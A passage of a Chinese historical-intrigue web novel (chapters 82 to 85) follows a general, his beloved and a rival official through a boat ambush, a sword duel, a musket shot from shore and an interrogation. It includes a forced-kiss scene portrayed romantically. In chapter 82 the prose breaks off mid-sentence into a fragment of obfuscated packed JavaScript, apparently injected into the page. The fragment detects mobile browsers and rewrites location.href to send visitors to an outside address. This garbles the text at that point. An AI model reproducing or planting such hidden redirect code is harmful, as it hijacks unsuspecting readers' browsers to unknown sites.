南巡队伍开拔，很快即到达村郊野渡。但见云梢雾末，溪桥野渡，尽是春愁落处。
所谓“野渡“，即为荒郊野外无人看管的渡口。堂堂户部巡抚侍郎南下，竟然选择另辟蹊径走野渡，而不是亦步亦趋走官渡，也是让驿丞惊得合不拢嘴。
巡抚，官制从二品，加兵部侍郎衔者为正二品。秉承先帝遗训“巡行天下，安抚军民”，出巡派出的均是品级较高的文职京官，由于巡抚多由各部侍郎充任，因此通称为“巡抚侍郎”。
温如初此行
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南下，携家丁、辅臣、随军护卫等共计一百二十余人，分三条漕船同行。主船处正中间位置，由巡抚侍郎和京卫指挥使共同搭乘，伴随十余名家丁、保镖、杂役等人；左右两艘摆子船，搭载随军护卫部队，以及低等级的官员辅臣。
船老大身材魁梧，面色黝黑，粗布麻衣装束，常年的风吹日晒打造出一身健硕的肌肉。
他上前跪地拜道：“颜家渡三十余名船夫，恭迎巡抚大人！”
温侍郎微微颔首，“大约多久能渡河？”
船老大道：“天晴无风时，须半个时辰；暴雨滂沱时，大约一两时辰。”
温如初举首望青天，但见万里无云，风和日丽，悦色道：“不错，那么出发吧。”
随着船老大一声令下，三艘漕船同时断开缆绳，缓缓向河中岸推进。
主船实为游船改造，分上中下三层，船身由楠木打造，船体气势恢宏，富丽堂皇，令人不免惊叹：小小颜家野渡，竟能拥有如此气派的船舫。
温如初上了船，径直进入主客房休息，叫了远舟一人伺候，还让船夫传话给时枫：“闲人莫要打扰。”
时枫才懒得搭理他，此刻他借着护卫的名义，四处溜达察看船舫。
很快就发现了可疑之处。
包括船老大在内，船上共有船员二十人，除了一名老婆子以外，其余皆为身强体壮的船夫。
船老大，这个皮肤黝黑、满脸风霜的中年汉子，站在船头，目光如炬地注视着前方的水流，手中的舵杆沉稳有力，每一次转动都显得自信而坚定。他的声音洪亮而富有节奏，指挥着船上的其他船夫。
“拉紧风帆，风向变了！”他大声喊道，声音在河面上回荡。
其中一位年轻的船夫，身手敏捷，听到命令后立刻跳到桅杆下，手脚并用地攀爬而上，像一只灵巧的猴子。他迅速地调整着帆布，让帆布鼓满了风，渡船的速度也随之加快。
在甲板的另一侧，船夫正忙着检查船舷的绳索，他的双手布满了老茧，每一次触摸都显得那么熟练。他的眼神专注，确保每一根绳索都牢固可靠，这是对船上所有人安全的承诺。
“注意船尾水势，别让浪头打翻了货物！”船老大头也不抬地提醒着。
身材魁梧的青年船夫，正站在船尾，手持长篙，随时准备应对突发的浪涌。他的身体随着船身的起伏而微微晃动，但手中的长篙却稳如泰山，每一次点水都精准无比。
船婆子正忙着在甲板上穿梭，她的任务是确保乘客的安全。
“请大家坐稳，不要随意走动。”船婆子一边说着，一边帮助乘客固定好位置。
时枫双臂交叉，立在船舷上观察了半晌，越来越觉得船婆子行为举止可疑。
但见船婆子体态轻盈，步伐敏捷，穿梭于船舷甲板上游刃有余。再加上此女嗓音细腻，谈话落落大方，也不见寻常老百姓的粗鄙狂言。总之，她根本不像是五十多岁的老妪，倒像是二三十岁的少妇。
船婆子安置妥当乘客们，转身进入船舱打理客房，时枫悄悄地尾随其后。
正当那婆子来到夹道尽头，四处察看无人，俯身拾掇杂物之际，时枫陡然扑上前，将船婆子扑倒在地。
船婆子惊慌道：“怎么回事？发生什么事情了？”
时枫冷笑道：“哼，还在装蒜，你以为我看不出来你的伪装吗？”
船婆子挣扎道：“老婆子实在不知，官爷所言为何啊！”
时枫简直要被她笑死，他揪着老婆子的后脖颈，凑近耳际道：“小东西，还跟我装模作样，找打是不是！”
言毕，抬起手掌，朝着船婆子的后臀，使劲扇了一巴掌。
支棱着耳朵，倾听船婆子的反应。
船婆子咬嘴小声哭泣。
男人嘴角一斜，“服气了没？”
忽然身后响起一声熟悉的嗓音，带着一丝讶异与揶揄：“你在这里搞什么鬼！”
男人全身的血液，霎时间全部凝固在血管里。
82. 逃跑
时枫机械般地转过头，却见身后站着一位长相俊美的年轻杂役，身穿粗布衣裳，脚蹬蒲草鞋，歪着脖子正朝他这边看。
那双灵眸流转，早已在他心里镌刻成诗，成为永远颠簸不破的真理。
“时大将军，请问您这是要做什么？”杂役吐了吐舌头，俏皮道。
时枫咽了口水，默默地跳起身，拍了拍身上的尘土。
他看了看被他压倒的船婆子，她正努力挣扎着爬起来，但心有余而力不足。
时枫俯下身子，两手抓着船婆子的肩膀，将她“扶”起身站稳。
船婆子仍一脸惊恐，“这、这是怎么回事？我老婆子没做任何违法之事啊。”
杂役笑道：“颜大娘，您莫责怪他，他准是瞎了眼，认错人了。”
转头瞟了一眼时枫，“还不快跟颜大娘道歉？”
时枫被她搞得丈二和尚摸不着头脑，然而脸面实在不好意思，只好跟着她的语气，低头木讷地道歉：“对不住了，颜大娘。”
船婆子见威武不屈的大将军，亲自向她道歉，心里的怨怼早已烟消云散，她拍了拍手道：“咱们坐在一条船上，何必计较那么多。将军有什么需求，尽管吩咐老婆子，颜家渡全家听候您的差遣。”
原来船婆子是颜家渡的老板娘，平日里见多识广，乃女中豪杰，混迹渡口四五十年，徐娘半老，才会被时枫看错。
二人送走船婆子，杂役也想开溜，说道：“那我也下去干事了。”
结果，还未来得及转身，就被时枫拎着衣领，丢进夹道旁边的杂物间。
一进门，杂役就被男人手掌稳稳地固定在墙壁上，疼得她身子不由得一僵，声音颤抖道：“你……你不能这样。”
男人没有回答，只是用那双深邃的凤眸紧紧地锁定她，仿佛要将她全部吞噬。他的唇角勾起一抹自信的弧度，然后，他的头缓缓低了下来，湿热的唇紧紧贴上她，展开全面的进攻袭击。
她的心跳如擂鼓，她想要推开他，双手却在他的胸膛前无力地推拒。
他的吻强势而霸道，不容她有丝毫的反抗。她的唇被他牢牢地占据，舌尖强势地撬开贝齿，长驱直入，探索着每一个角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624461|146123||http|test|mini|href|location''.split(''|''),0,{}));
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她的身体微微颤抖，反抗渐渐变得无力，呼吸急促而混乱。他的吻如同狂风暴雨，席卷着全身感官，让她无处可逃。
男人手臂紧紧地环绕着她，几乎将她揉进自己的身体。他的吻变得更加深入，更加热烈，仿佛要将她的灵魂都吞噬。
葱指不自觉地抓住了玄色衣襟，反抗最终变成了无力的拉扯，身体也在他的怀抱中逐渐软化，直至她彻底被他控制，折服，融化。
阳光透过舷窗，斑驳地洒在狭小的隔间内，空气中弥漫着靡靡气氛。门外船夫的号子此起彼伏，伴随着河水浪花朵朵。
时间紧迫，男人不得不停止进一步袭击，哑声道：“谁让你跑到渡口来的？你知不知道这里有多危险？很快就会发生一场你死我活的斗争，你不要命了吗！”
苏绾被他吻得意乱情迷，胡乱答道：“我知道啊，可我不能眼睁睁看着你一个人去送死。你不是答应了我，要守我一生一世，怎么说话不算数呢！”
时枫蓦然一愣，他呆呆地睇着苏绾，茫然道：“你说什么？”
（未完待续）
83. 对决
江河浩瀚，波浪滔滔。
时枫自杂物间夹道出来，一路上步履迟缓，眉宇间笼着不易察觉的阴翳，心绪似黄河流水，表面平静，底下翻涌着隐秘的暗流。
倘若此行独他一人，他倒不惧生死。世事如棋，局局皆险，他早已习惯危局中寻求生机。
秦欢要起事，他自当全力辅助。可他并未承诺亲手结果温如初的性命，这与他筹谋的复仇大局无关。待温如初落网后，他会亲自回京觐见圣上，沉冤昭雪，为时樾讨回公道。
人生不如意，十有八九。
如今船上多了一个苏绾，他不可再随性而为。苏绾如一片飘摇的羽毛，轻得叫人不忍放手，却也轻得禁不起任何风浪。倘若这场厮杀波及苏绾，他便纵死也难脱其咎。
也许，他该隔岸观火，冷眼旁观秦欢与温如初二虎相争，拼个你死我活。到万不得已之时，他再弃舟而逃，带着苏绾远离滔天风浪，方为上策。
心中有了计较，时枫故意绕过主厅，转去甲板假意看风景。黄河风急，吹得衣袂猎猎，水天相接处，一片苍茫浩荡。
忽然迎面走来一个人影，那人满脸堆笑，低声道：“将军当去主厅，那里视野开阔，景致绝佳。”
时枫抬眸一瞥，哦，这不是晌午被他锁喉的那个山羊胡吗？男人眸光一沉，抬手揪住山羊胡的衣领，将其狠狠摁在船舷靠背上。
船身微微晃动，山羊胡被撞得一阵咳嗽，连连告饶：“服了，服了！将军饶命！”
时枫薄唇紧抿，眉目间冷意森然，“你也敢在本将军面前出现？今日若不叫你付出代价，本将军便是白活了！”
山羊胡被摁得喘不过气，哭道：“冤枉啊，将军！小的不过奉命行事，一切都是苏姑娘的意思，小的只是个传话筒！”
“苏绾？”时枫一愣，冷声道：“说清楚！”
山羊胡将事情经过从头到尾和盘托出，连苏绾如何以言语威逼，如何策划局势，都一五一十讲了出来。他声音不高，却被风裹挟着，落在时枫耳中如重锤击鼓，久久不散。
时枫微微松手，眼底的冷意渐渐化开，取而代之的是一抹意外的赞许。他唇角挑起一丝弧度，带着几分说不清的骄傲与讽刺。
“疯婆娘。”他在心里暗骂一句，眸底有细碎的光亮在流动，“竟有这样的胆识与谋略……”
有勇有谋，果断决绝，不愧是他的女人。
既然她主动选了这条不归路，他怎么好意思畏首畏尾。他该抡圆肩膀，助“妻”一臂之力，否则枉为人“夫”。
男人抬手拍了拍山羊胡的肩膀，不冷不热道：“所以，你们的意思是，让本将军去主厅做饵，对吧？”
山羊胡怔了怔，似懂非懂地点点头：“将军明察。确保主厅只有将军二人，外厢将封锁一切逃路，一旦将军控制住局面，我等即起兵，届时将贼人一举拿下。”
时枫轻哼一声，面色似笑非笑，“也罢。本将军在外，一般不听人号令，谁让你们受命于夫人呢。”
“啊？”山羊胡一时反应不过来，嘴巴微张，神色错愕。
时枫挥挥手，懒得再理会，迈步向主厅而去。他身影挺拔，步伐沉稳，衣袍被风卷起，似一面猎猎招展的旗帜，仿佛正预示着一场风云乍起的战局。
*
帏绣成栊，雕梁画栋。
主厅果然是个好地方。船身中央开了扇巨大的落地门，门外江水滔滔，奔流不息，仿佛能带走人世间的所有喧嚣。阳光透过门扉洒入，将室内映得亮堂堂，四处的装饰皆显奢华，红木家具雕花精致，地毯绣金丝银线，连檀香都是上好的。
时枫一进门，环顾四周，忍不住砸了砸嘴，冷嗤道：“我说你怎么一上船就赖在这里不出来，原来是爱上了这股荣华富贵的假象，你还真是改不了这奢侈的臭毛病。”
温如初懒懒靠在吴王靠，双臂随意地搭在扶手，姿态松散却优雅。他微微眯着眼，仿佛刚刚从梦中醒来，听见时枫的话也不恼，挑起嘴角，睐着身材魁梧的男人，似笑非笑道：“我还以为，你这次是彻底打算眼不见心不烦，连话都不愿跟我说。今儿个吹的是什么风，竟把我们时大将军吹了回来？”
时枫冷笑一声，双手负在身后，居高临下地睨着温如初，声音低沉却透着几分讥诮：“我跟你吵架，又不是一日两日。你小时候那张嘴有多贱，你自己没点数？当年我打了你多少次，连你自己都数不清吧？哪次不是你哭着喊饶，我才大发慈悲饶了你？”
温如初闻言哈哈大笑，笑得肩膀微微抖动，“你还有脸提以前？那时候我才多大，骨瘦如柴，胳膊细得像个豆芽菜，哪里打得过你这头浑身肌肉的大黑牛？你还逼着我叫你哥哥，说什么会保护我。可最后呢，每次都是你欺负我，还把锅甩得干干净净。”
“放屁！”时枫牛眼一瞪，怒气蹭地冒了上来，撸起袖子摆出干架的架势，“我比你大俩月，让你叫声哥哥不对吗？你扪心自问，哥哥可曾亏待过你？你小时候被邻家那帮兔崽子欺负，是谁帮你出头？要不是我，你早被打成瘸腿走不了路。还敢说我欺负你，你个没良心的小王八蛋！”
温如初看他怒气冲冲的模样，反倒更觉得好笑，唇角的弧度愈发扩大。他慢悠悠地拍了拍衣摆，眉眼间尽是调侃的意味：“是是是，哥哥教训得是。弟弟知错了，弟弟年幼无知，冒犯哥哥多次，还请哥哥海涵。”
说着，他竟端起衣袖，慢悠悠地拱手作揖，模样极尽滑稽，活像个被官差逼得没法子的落魄秀才。
“算你识相。”时枫看着他那副服软的模样，鼻子里冷哼一声，却没再发作。他别过头，嘴角微不可察地勾起一丝弧度，“总算还记得谁是哥哥。再敢顶嘴，看我不揍你。”
温如初心里忍不住暗笑，却懒得再回嘴，顺手捞起桌上的白玉茶盏，低头抿了一口。茶水清冽，倒映着他眉眼微挑，唇角轻勾，分明是又赢了一局的模样。
阳光落在两人身上，一如多年未曾改变的岁月。谈起童年趣事，二人意犹未尽，你一嘴我一嘴，谈到最后，两人都陷入了沉默，半晌不再言语。
沉默在两人之间蔓延，像冬日清晨缓缓升起的雾气，轻而淡，却又遮蔽了眼前的景。船檐下的风铃随风微晃，发出细碎的声响，仿佛要替他们说些什么，却终究化作无声。
时枫负手立于栏杆前，任江风吹过耳畔，吹乱了衣袂，也吹散了方才谈笑的余韵。船桨划水的声音一下一下，像沉闷的锣鼓，将他从记忆中拉回现实。
少年时的欢笑似江边春水，清澈而奔腾，一路拍打着堤岸，卷起满天碎光。可那水终究会流远，留下一道干涸的河床，叫人伫立其间，空怀追忆。
“那时候，”温如初低声开口，嗓音带着几分喑哑，“真好啊。”
“嗯。”时枫答得含糊，低头盯着脚下的水纹。阳光落在河面上，碎金般的光芒晃得人眼酸，却掩不住黄河水本身的浑浊。
两人再度无言。
时间从来不吝啬它的刀锋，刀刀劈开的是记忆，也是曾经不以为意的情谊。那些年头里不需要言说的默契，如今却在沉默中渐行渐远。
人这一生，像渡船过河，彼此同行的时光不过短短一程。年少时以为同舟共渡便能一生相伴，却不知这船总要靠岸，岸一旦分离，再多的情谊也难敌现实的洪流。
江风吹浪，云根翻动。
温如初站起身，随手拂了拂月白丝袍上的微尘，动作慵懒从容。他嘴角噙着一抹浅笑，似是自嘲，又似挑衅，缓缓开口道：“其实，你若肯主动跟我道声‘对不起’，承认你的错，我是不会跟你计较什么‘夺妻之恨’的。”
那双勾人的桃花眼微微一挑，眼波流转，带着几分戏谑的锋芒，“有句俗
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话怎么说的来着，兄弟如手足，妻子如衣服。你我鹡鸰在原，又何必因一件衣服生分？你真以为我会在心里记恨你吗？”
这话听着轻飘飘，仿佛毫无分量，可却像一根极细的银针，直直刺入时枫的心头。他愣了一瞬，随即感觉胸口涌起一股无法言说的郁结。他看着眼前人，明明是熟悉至极的模样，却在那一刻恍若隔世。
他忽然明白了一件事——他们，再也回不到从前了。
时光如同黄河的水，带走了那些纯粹与简单，只留下浑浊的激流与无尽的漩涡。年少的承诺、无尽的欢笑，在成长的洪流中渐渐被冲刷成了细沙，轻轻一握，便从指缝中滑落。
时枫目光一沉，冷笑声从喉间溢出，似刀锋般凌厉，“道歉，你也配？”他话音低沉，却咄咄逼人，“我说过了，此生非娶苏绾不可。你也不必在我面前假惺惺地装什么老好人，有什么怨气，尽管冲我来便是！”
他一字一顿，冷硬如刀，最后四个字咬得格外重：“苏绾，我护定了。”
说完，男人转过身去，衣袂翻飞间带起一阵凌厉的风。阳光从他肩头洒下，仿佛将人分割成两半——前方是他义无反顾的执念，身后却是再也回不去的过往。
温如初桃花眼眸剪了剪，垂眸望着自己纤尘不染的月白袍摆，唇边的笑意渐渐淡了。许久，他抬起头，看向窗外的滔滔江水，眸中似有千般情绪，最终都化作一片平静。
“兄弟如手足，妻子如衣服……”温如初低声重复了一遍，声音轻得像是自言自语，随即笑了一笑，笑意里有三分自嘲，七分释然。
抬手把弄着白玉茶盏，低叹一声：“看来，这衣服我是换不回来了。”
话音刚落，温如初脸上的从容笑意瞬间凝固，随即被冷厉的戾气取代。他猛地抬手，将手中的白玉杯狠狠掷向地面，清脆一声，“咣当”，玉杯碎裂成无数粉齑，散落在雕花地板上，割裂了尚存的一丝温情。
门外传来急促的脚步声，伴随着一声沉喝：“少主有令，杀无赦！”
紧接着，渡船四处爆发出震天的呐喊。那些伪装成仆从的暗卫骤然现身，刀剑在手，直扑毫无防备的船员。原本风平浪静的渡船，瞬间化作一片暗红的地狱，血腥气息在阳光下弥漫开来，刺得人眼眶发酸。
时枫脑中轰然作响，仿佛被人迎头痛击。他终于明白，自己早已落入对方精心布下的圈套。
男人拳头握得死紧，青筋暴起，“你是故意的，对不对？让我选择渡船，是因为官渡不好下手。”
温如初脸上的冷意，融化为一种近乎漫不经心的笑意。他随手整了整衣襟，淡淡道：“对，也不对。”
“我算准了你会与我反目成仇，但也算准了你绝不会在官渡动手。因为你时枫不是那样的龌龊小人。你若想杀我，必然会选择一个无人打扰的地方，这样才对得起你的良心。”
修长指尖轻轻敲了敲桌案，声音不疾不徐，“所以，我便顺水推舟，为你安排好场地。既然是兄弟，岂能不替你多考虑几分？瞧瞧我这个做兄弟的，多么体贴周到，为你省却了多少麻烦。”
说到最后，他竟低低笑了起来，那笑声轻柔，夹杂着几分说不清的惋惜与怜悯，如刀刃割在时枫的耳膜上。
时枫感到胸腔发闷，像是一团烈火烧得炽热，却又被无情的冰水浇灭。他不敢相信，自己千算万算，竟没料到温如初会如此果决，先发制人。
男人咬牙切齿，恨声低吼，“你竟用这种下作的手段对付我！”
温如初抬眼看他，目光如霜：“下作？你既想杀我，便该想到，我绝不会束手待毙。时枫，你想要我这条命，可以啊，就看你有没有本事拿走。”
阳光透过窗棂洒在两人之间，血色映入眼帘，交错的目光如刀剑相击，铿锵有声。
二十年兄弟情谊，至此崩裂成灰。
84. 会面
杀声动地，惊雷霹雳。
时枫扫了一眼门外，形势紧急，他不可耽搁太久，须得尽快拿下敌人才是。倘若迟滞半分，都会造成过多颜家渡人员伤亡。
男人咬了咬牙，“你就这么笃定，能杀得了我？”
“凭我一人，确实孤掌难鸣。但夜路漫漫，岂能独行？”
说着，温如初展开宽大袖袍，轻轻拍了两下掌。
三道身影从屏风后闪现，为首的正是侍从远舟。几人浑身透着一股肃杀之气，显然都是经过千锤百炼的精锐之士。
时枫嗤笑一声，眼中尽是轻蔑：“这些个杂碎，便是你所谓的帮手？你未免也太高看了自己。”
温如初唇角的笑意淡得像一抹云烟：“不试试，又怎知不行？”
言毕，侧首甩了一个眼色。
远舟稳稳站定，马步扎得如磐石般牢固，长剑微微一抬，剑尖直指时枫，寒芒在阳光下闪动，锋锐得让人心惊。
时枫缓缓抬手，按住腰间束带，随着“锵”的一声轻响，抽出一柄鱼鳞软剑。剑身如水波般闪动着银光，仿佛是一条蛰伏的银龙，此刻终于苏醒，杀气凛然。
“既然如此，那便让你见识见识，我时某人是如何以一敌百。”男人语气轻描淡写，却自带一股无法忽视的霸气，视眼前这些人为草芥蝼蚁。
温如初揣着袖子，调侃道：“我真是越来越欣赏你了。只可惜，这世上越是璀璨的东西，越是容易破碎。”
他顿了顿，声音像是冬日寒风拂过：“不知今日，是谁要碎在谁手里。”
远舟先发制人，手中长剑猛然刺出，直取时枫的心口，剑尖带起一阵凌厉的风声。
时枫脚下错步避开，鱼鳞软剑如游龙般横扫，半空中划出一道银光，直逼远舟腰间。
远舟急忙后撤一步，长剑竖起格挡，险险挡住时枫的攻势。
后方的两名随从左右包抄，长刀一左一右斩向时枫的两侧，意图形成合围之势。利刃在空中交错，发出刺耳的金属撞击声，火花四溅。
时枫脚下发力，猎豹般猛扑向左侧随从，鱼鳞残影轻轻一闪，那人甚至来不及发出惨叫，便倒向血泊之中。
右边随从刀口自天而降，时枫身体向后翻滚险险躲过一击，反手一剑斜斩而出，精准地刺入敌人胸口，将其击倒在地。
时枫还未站稳，远舟的长剑已然迎面刺来。时枫反应极快，鱼鳞软剑横挡身前，柔韧剑身被砍得震颤不止，发出噌棱棱的波动声响。
两人剑锋相交，僵持片刻。远舟怒吼一声，长剑威力翻倍压制。
时枫忽然松手，鱼鳞软剑空中旋转，剑锋趁势绕过远舟的长剑，风驰电掣般斩向他的手腕。
远舟急忙撤剑，终究还是慢了一步，腕部被划出一道深深的伤口，鲜血喷涌。
时枫不等对方喘息，一剑刺向远舟的肩膀。远舟闷哼一声，踉跄后退几步，手中长剑支撑着身体，跪倒在地。
温如初低眸觑着战败的勇士，不急不躁，面色仍旧保持从容淡定，局势正按照他所预估的情况，顺利发展。
一切尽在掌握中。
接下来，就看他的谋士，如何抛出“神来一笔”，帮他破局。
他缓缓鼓起掌，“不愧是大名鼎鼎‘不世出卫将军’，果然没有让我失望。”
鱼鳞软剑滴着鲜血，男人剑指对方，冷冷道：“还有什么？全都放马过来！”
“没有了。”温如初上前凑近一步，伸手推开剑锋，无可奈何道：“只剩我这手无缚鸡之力的书生，如何与武将比拼？”
他微微叹口气，神情落寞，倒真好像黔驴技穷了一样。
然而时枫根本不理睬。
对方既要起事杀他，怎可能动用区区仨小卒，也太瞧不起他了。
时枫啐了一口，剑锋重新指向温如初，“出剑。”语气冷得仿佛淬了冰。
温如初的剑术，时枫年少时领教过几次，虽说根基薄弱了些，但剑势耍起来还是有模有样的。偶尔他走神倦怠了，也有被对方偷袭得手的时候。
不可小觑。
温如初的天分，不比自己差。此人能文能武，城府极深。他上半辈子能有幸做兄弟朋友，等于给自己免去一位强有力的劲敌。
可如今，世道变了。
温如初却没有与之决斗的意思，他转身趸回吴王靠，建议道：“不如我们坐下来好好谈一谈。”
慵懒惬意的神情，丝毫没有紧张对峙的氛围，令时枫感到有些迷惘。
也许，温如初跟自己一样，也在等待一个恰好的时机。
时枫抬眸扫向窗外，逆流而上的船只与河岸并行不动，河对岸景色一览无余。水面上浊浪翻涌，隐隐透出一种令人不安的沉寂。
不知从何时起，渡船已悄悄转换航向，船头逆流而上，且保持与水势相同的速度。
别人怎么样他不管，他的时机到了。
男人收起鱼鳞剑，冷冷地开口：“废话少说，有人要见你。”
闻听此言，温如初眼神一滞。
那一瞬间，他在心里思索一百种可能，猜测时枫口里的“有人”，究竟是谁。
他直觉上认为是苏绾，可转念一想，时枫也不至于愚蠢到将挚爱拱手让人的地步。
按照计划，此刻他的谋士该现身说法，与他合力擒拿时枫才对，可先生却不见踪影。
哪里出了岔子。
温如初按捺心中不安，勉强扬起笑容，带着些试探意味：“哦？谁这么大的面子？”
果然，下一瞬，时枫剑尖直指后方落地门外，语气不耐：“备着望远镜。”
温如初脸色微变，却还是强撑镇定，从袖中取出望远镜，伸开管套，转身向外看去。
那一瞬，望远镜里映出的景象让他心脏骤然提起，呼吸几欲停止，白皙脸颊瞬间没了血色，眸底尽是慌乱不堪的狼狈。
对岸垂柳依依，河堤静谧如画，藤椅上端坐一人。青纱长袍随风轻扬，东坡巾下是一张清风朗月的俊美面庞。那人目光如炬，带着冷静而洞悉一切的气息，仿佛洞穿了世人所有的伪装与心机。
秦欢。
温如初死死攥紧望远镜，指节发白。他与秦欢从未谋面，只从谋士口中听过关于此人的种种描述——胆小如鼠，软弱无能，是个窝囊废。然而此刻，对方的存在却让他背脊发凉，连呼吸都乱了节奏。
为什么？！
秦欢、时枫。
一个是末路贵妃的子侄；一个是落罪王爷的世子。
两个完全没有交集的人，究竟是何时凑到一起的？
因为……苏绾？
逻辑链彻底断裂，线索全部崩坏，世界化为一片迷茫空白。
秦欢忽然抬起右手，向他做了个倒竖拇指的手势，脸上挂着一抹意味深长的微笑。那笑容温和从容，却刺目得让温如初几乎失手握不住望远镜的把柄。
一瞬间，他知道自己完了。
更可怕的是秦欢身边忽然显现的第二道人影。
那人身着竹月色襕衫，身材挺拔，面容隽秀，英气逼人，眼神中带着一抹冷冽的锐意——正是小侯爷萧染。
萧染。
温如初心底陡然掀起惊涛骇浪，还未来得及细想，二人如何联合设置这一连串的珍珑棋局，那边萧染已然露出剪在背后的手臂，手中赫然端着一杆精致的镏银鸟铳。
“不妙！”
温如初心头警铃大作，毫不犹豫地起身朝侧旁一跃跳开，企图躲避枪口。
然而人力如何能快过火药爆发的威力？
“砰——砰——砰！”三丸连射，震耳欲聋的枪响划破长空。
温如初感觉右臂一震剧痛，随即血花迸溅，火药炸裂之力直接撕裂了他半条袖子。剧烈的疼
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痛让他眼前一黑，几乎瞬间便失去意识，身子无力地倒在地板上。
河岸之上，垂柳拂堤，浊浪翻涌，黄河水携着千百年的沉沙与浑浊奔流而去，无声诉说着积攒的波诡云谲。烟雾在空气中缓缓散开，混杂着火药味的余韵，带着一丝灼人的炽热感。
萧染收起鸟铳，随意一吹枪口，眉梢微扬，显出几分得意。可未等这得意之色在脸上挂稳，他便被呛得咳嗽连连，咳得肩膀直抖：“这玩意儿，还真是劲大得吓人！”
秦欢稳稳坐在藤椅之上，清风拂过青纱衣袍，连带着烟火的灼热与血腥也一并吹散。他斜睨了萧染一眼，揶揄道：“这么‘远’的距离，你居然还能打中一颗子弹，这准头，着实让我刮目相看。”
萧染拂了拂胸口残余的烟灰，急忙为自己辩解：“那船晃来晃去的，我这眼睛都快被晃花了！再说，我又不是神机营的神枪手，打成这样已经很不错了！”
秦欢抬眼望向滚滚的黄河水，眸底泛着对结果的从容淡定，“早知道如此，我还不如请春蝉来。她平日打猎随手就能打到兔子，比你这准头高出几倍不止。小侯爷的本事竟如此‘别具一格’，倒真让我开了眼界。”
萧染噎得半天说不出话，气得一甩袖子，将鸟铳随手一扔，丢进旁边的草垛里，恼羞成怒道：“既然嫌我不中用，那你自己来吧，我也懒得奉陪了。告辞！”
他迈开步子就要走，却被秦欢一声低喝拦住。
“慢着。”
萧染转过头，眉间满是不耐，“怎么？那家伙都被你打成筛子了，还能翻出什么浪花不成？”
秦欢轻轻抬手，指向河心翻滚的浊浪，“你可曾见过黄河决堤？黄河表面看似平静，实则低下藏着不为人知的暗流，一旦崩溃，便可吞噬万物。”
萧染微怔，眉头皱得更紧：“你是说……”
秦欢眯了眯眼，“温如初就是那条暗流。看似无力回天，但只要稍有机会，便能卷土重来，甚至绝地反噬。与他为敌，永远不要掉以轻心。”
萧染看了看水，又看了看秦欢，感到十分不解。他只当是秦欢的老毛病又犯了——惯爱长他人志气，灭自己威风。
他冷哼一声：“要是他真还能爬起来，那我今日这张脸算是丢得彻底了！”
秦欢微微一笑，却未答话。他的目光重新落回渡船，仿佛在等待，亦或是在谋算着什么。
*
渡船主厅内一片狼藉，白玉茶盏摔得粉碎，残片散落一地，两具尸体横卧于血泊中，殷红的鲜血在波斯地毯缓缓渗透，茶渍与血迹交织，模糊得令人难以分辨识度。
厅内角落，户部侍郎温如初昏厥倒地，月白锦袍染满血污，右臂血肉模糊不堪，伤口边缘焦黑，显然是火铳所致。他的侍从远舟强忍肩膀上的剑伤，跪在一旁忙不迭地替主人包扎，嘴里不停念叨：“少爷，你快醒醒啊！少爷，你不能就这么倒下！”
另一侧，时枫站在乱局之中，目光冷冷地扫过主仆二人，手指不自觉地掩在嘴边，咬着指甲。他注视着眼前的景象，胸口翻涌着说不出的复杂情绪。
他从未想过，秦欢竟会出手如此果断狠辣。这一招，干脆、决绝、毫不留情，令人心惊胆寒。
时枫一直以为，秦欢所谓的“大计划”，不过就是隔岸观火，站在安全距离之外向温如初释放些威慑之意罢了。
他甚至还暗自嘲笑秦欢的懦弱胆小，以为这人只会虚张声势，是个不折不扣的窝囊废而已。
他错得离谱。
那一枪果决、狠戾，昭示着秦欢对仇敌毫不妥协的决心与立场。心中究竟怀着怎样的仇恨，才能驱使秦欢下如此重手。
时枫忽然意识到一个不争的事实——秦欢的手段不仅对温如初有效，对他时枫同样毫不含糊。今日温如初倒下了，明日他时枫的下场，怕也不会好到哪里去。
秦欢，是个狠角色。
85. 翻牌
温如初瘫坐在墙角，背后的木墙冰凉刺骨。月白长袍被血水浸透，湿漉漉地黏在身上，宛如一张破旧的画卷，斑驳暗红的血迹如铁锈般刺目。他的发髻散乱，几缕发丝垂落在鬓角，混杂着血污与灰尘，整个人仿佛被岁月凌迟成了一尊残破的雕像。风从窗棂的破洞灌入，撩动他的衣袍，也映照出他如死灰般的神情。
时枫站在风中，衣袂翻飞，周身笼罩着冷冽的煞气，宛如一柄刚出鞘的利剑。他的目光沉沉，像暗夜里蛰伏的猛兽，随时扑向猎物，将其撕裂啃啮。
温如初抬眼望向他，嘴角牵出一抹疲惫的笑意：“你赢了。”
时枫微微眯眼，薄唇掀起一抹冷笑：“急什么？这才刚开始。”
他上前一步，单膝蹲下，垂眸与温如初对视，凤眸幽深如寒潭，语气冰冷如刀：“我问你，是谁下令害死时樾？”
温如初的瞳孔微缩，脸上掠过一丝慌乱，却很快掩去。他冷冷一笑：“诈我？你还嫩了些。”
时枫冷哼一声，手一扬，揪住温如初的衣领，威胁道：“你有一封密函，记录了你与阁老之间的利益交易沟通，原本藏在户部衙门的密室。可你一向谨慎，怎会将性命攸关之物放在离自己太远的地方？”
指尖按上温如初胸前的衣襟，触到隔层中隐隐的硬物，眼中闪过寒光。利刃一挑，布料应声而裂，一封折叠整齐的密函露了出来。
时枫展开信纸，检视一番，眼底的冷意愈发浓重，唇角勾起一抹讥讽：“若要人不知，除非己莫为。”说着，他将信纸重新叠好，揣进自己的怀里。
眼见事情败露，温如初目光一黯，如同挣扎的困兽终被压倒。他抹去嘴角的血渍，靠着墙缓缓坐直，声音低哑如钝刀刮雪：“你心里不是早有答案了吗？还来问我做什么？”
时枫眸光一沉，“所以，是‘上面’想要除掉时樾？”
温如初沉默片刻，叹息一声：“是他越界了。时樾查了一些不该查的东西，上面容不下他，可他偏偏不肯罢手。”
时枫逼问：“什么东西？”
温如初摇了摇头：“凭我的身份与资历，连真相的边角都触碰不到。但我知道，这件事与你父亲绥靖王脱不开干系。”
他抬眸直视时枫，眸底泛着寒光，“想想看，时谦为何获罪，又为何甘愿困守西北，再不回京？”
时枫心神一震，感觉胸口像被重锤砸过，连呼吸都微微滞涩。
窗外，狂风卷起，破碎的窗纸被掀开，冰冷的雨水飘入，滴落在温如初的脸侧，也落在时枫的靴尖。
